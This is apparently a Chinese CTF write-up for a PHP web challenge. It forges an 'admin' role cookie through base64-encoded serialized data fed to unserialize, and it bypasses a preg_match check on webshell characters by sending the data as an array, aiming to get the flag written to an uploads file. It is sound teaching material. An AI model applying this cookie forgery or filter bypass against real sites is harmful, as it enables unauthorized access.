30题利用提交数组绕过逻辑
源码如下:
<?php
$role = "guest";
$flag = "flag{test_flag}";
$auth = false;
if(isset($_COOKIE["role"])){
$role = unserialize(base64_decode($_COOKIE["role"]));
if($role === "admin"){
$auth = true;
}
else{
$auth = false;
}
}
else{
$role = base64_encode(serialize($role));
setcookie('role',$role);
}
if($auth){
if(isset($_POST['filename'])){
$filename = $_POST['filename'];
$data = $_POST['data'];
if(preg_match('[<>?]', $data)) {
die('No No No!'.$data);
}
else {
$s = implode($data);
if(!preg_match('[<>?]', $s)){
$flag='None.';
}
$rand = rand(1,10000000);
$tmp="./uploads/".md5(time() + $rand).$filename;
file_put_contents($tmp, $flag);
echo "your file is in " . $tmp;
}
}
else{
echo "Hello admin, now you can upload something you are easy to forget.";
echo "<br />there are the source.<br />";
echo '<textarea rows="10" cols="100">';
echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
echo '</textarea>';
}
}
else{
echo "Sorry. You have no permissions.";
}
?>
首先给出了$role和$auth的初始值
$role = "guest"; $auth = false;
如果在COOKIE中没有传值的话,就会进入else,将初始值设定在COOKIE里
else{
$role = base64_encode(serialize($role));
setcookie('role',$role);
}
从后面的逻辑上看,我们需要令
$auth=true
所以需要手动传入role值,通过逻辑
if(isset($_COOKIE["role"])){
$role = unserialize(base64_decode($_COOKIE["role"]));
if($role === "admin"){
$auth = true;
}
else{
$auth = false;
}
}
这里对传入的 role 进行base64解密后反序列化,将结果赋值给$role
$role = unserialize(base64_decode($_COOKIE["role"]));
然后想要令
$auth=true
前提条件为:
$role === "admin"
这个是我们可以控制的
编写代码
<?php
$role='admin';
$role1=base64_encode(serialize($role));
echo $role1;
?>
得到
role=czo1OiJhZG1pbiI7

可以看到成功绕过了第一个点
继续往下看
当 $auth 为 true的时候,进行:
if(isset($_POST['filename'])){
$filename = $_POST['filename'];
$data = $_POST['data'];
if(preg_match('[<>?]', $data)) {
die('No No No!'.$data);
}
else {
$s = implode($data);
if(!preg_match('[<>?]', $s)){
$flag='None.';
}
$rand = rand(1,10000000);
$tmp="./uploads/".md5(time() + $rand).$filename;
file_put_contents($tmp, $flag);
echo "your file is in " . $tmp;
}
}
可以看出来是上传文件的代码,具体为:
传入文件名和文件内容:filename 和 data
if(isset($_POST['filename'])){
$filename = $_POST['filename'];
$data = $_POST['data'];
判断$data中是否有一句话木马标识,有的话则退出
if(preg_match('[<>?]', $data)) {
die('No No No!'.$data);
}
没有的话 else 结构,这里有一句
$s = implode($data);
应该是上传一句话木马的突破点。
关于 implode()函数,有:
定义:
implode()函数返回由数组元素组合成的字符串
示例:
<?php $arr = array('Hello','World!','Beautiful','Day!'); echo implode(" ",$arr); ?>输出:
Hello World! Beautiful Day!
而我们在前面的代码审计中,知道preg_match()函数只能处理字符串,当传入的变量是数组是会返回false,这里正好满足,可以编写代码测试
<?php
$data[]='<?php phpinfo();?>';
if(preg_match('[<>?]', $data)) {
die('No No No!'.$data);
}else{
echo "yes!";
}
?>
输出为
yes! PHP Warning: preg_match() expects parameter 2 to be string, array given in /usercode/file.php on line 3
虽然有警告,但是还是成功绕过了。
这里的代码
if(!preg_match('[<>?]', $s)){
$flag='None.';
}
表示如果变量$s中没有匹配到特定字符的话就令$flag为空,这样在后面的文件写入时,也不能获取到flag了。
$rand = rand(1,10000000); $tmp="./uploads/".md5(time() + $rand).$filename; file_put_contents($tmp, $flag);
这里是生成一个随机的文件名,并且将 flag 内容写进去
最后是输出文件名
echo "your file is in " . $tmp;
我们绕过后 flag 会写入到 文件名随机生成的文件中,该文件名最后是可知的。
按照之前分析的过程,很容易可以构建出payload

访问获取flag
结束